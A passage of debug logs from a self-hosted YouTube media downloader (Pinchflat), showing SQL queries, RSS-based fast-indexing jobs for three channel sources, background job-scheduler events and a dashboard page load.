"t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:11:01.533 [debug] QUERY OK source="media_items" db=0.2ms idle=262.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:11:01.533 [debug] QUERY OK source="media_items" db=0.2ms idle=261.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:11:01.534 [debug] QUERY OK source="tasks" db=0.0ms idle=261.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [721, 2, ~U[2026-07-24 17:11:01Z], ~U[2026-07-24 17:11:01Z]] 17:11:01.534 [info] {"args":{"id":2},"id":718,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":267361,"event":"job:stop","queue_time":490987,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:11:01.534 [debug] QUERY OK source="tasks" db=0.2ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:11:11.276 [info] {"args":{"id":1},"id":719,"meta":{},"system_time":1784913071276131942,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:11:11.276 [debug] QUERY OK source="sources" db=0.1ms idle=276.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:11:11.276 [debug] QUERY OK source="tasks" db=0.2ms idle=276.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:11:11.276 [debug] QUERY OK source="settings" db=0.0ms idle=276.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:11.276 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:11:11.276 [debug] QUERY OK source="sources" db=0.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:11:11.276 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:11.276 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 17:11:11.601 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:11:11.602 [debug] QUERY OK source="media_items" db=0.2ms idle=325.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:11:11.604 [debug] QUERY OK source="media_items" db=2.0ms idle=325.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:11:11.605 [debug] QUERY OK source="tasks" db=0.0ms idle=328.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [722, 1, ~U[2026-07-24 17:11:11Z], ~U[2026-07-24 17:11:11Z]] 17:11:11.605 [info] {"args":{"id":1},"id":719,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":328989,"event":"job:stop","queue_time":568670,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:11:11.606 [debug] QUERY OK source="tasks" db=0.6ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:11:26.291 [info] {"args":{"id":3},"id":720,"meta":{},"system_time":1784913086291085670,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:11:26.291 [debug] QUERY OK source="sources" db=0.1ms idle=1291.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:11:26.291 [debug] QUERY OK source="tasks" db=0.2ms idle=1291.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:11:26.291 [debug] QUERY OK source="settings" db=0.1ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:26.291 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:11:26.291 [debug] QUERY OK source="sources" db=0.2ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:11:26.292 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:26.292 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 17:11:26.318 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:11:26.319 [debug] QUERY OK source="media_items" db=0.2ms idle=27.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:11:26.321 [debug] QUERY OK source="media_items" db=1.7ms idle=27.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:11:26.322 [debug] QUERY OK source="tasks" db=0.0ms idle=29.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [723, 3, ~U[2026-07-24 17:11:26Z], ~U[2026-07-24 17:11:26Z]] 17:11:26.322 [info] {"args":{"id":3},"id":720,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":31011,"event":"job:stop","queue_time":577837,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:11:26.322 [debug] QUERY OK source="tasks" db=0.4ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:11:27.248 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:57.249 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.778 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:12:27.250 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:57.251 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.778 [info] {"source":"oban","duration":114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:13:27.252 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:57.253 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.780 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:14:27.254 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:57.255 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.781 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:15:27.256 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:57.257 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.782 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:16:27.258 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:57.259 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.782 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:17:27.260 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:57.261 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.784 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:18:27.262 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:39.825 [info] GET / 17:18:39.826 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:18:39.826 [debug] QUERY OK source="settings" db=0.1ms idle=826.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:18:39.826 [debug] QUERY OK source="media_profiles" db=0.0ms idle=826.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:18:39.826 [debug] QUERY OK source="sources" db=0.0ms idle=826.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:18:39.829 [debug] QUERY OK source="media_items" db=3.1ms idle=826.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:18:39.830 [debug] QUERY OK source="media_items" db=0.3ms idle=94.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:18:39.830 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:18:39.830 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:18:39.830 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:18:39.831 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:18:39.834 [debug] QUERY OK source="media_items" db=2.4ms idle=1.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:18:39.834 [debug] QUERY OK source="sources" db=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:18:39.839 [debug] QUERY OK source="media_items" db=4.2ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:18:39.842 [debug] QUERY OK source="media_items" db=3.5ms idle=8.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", 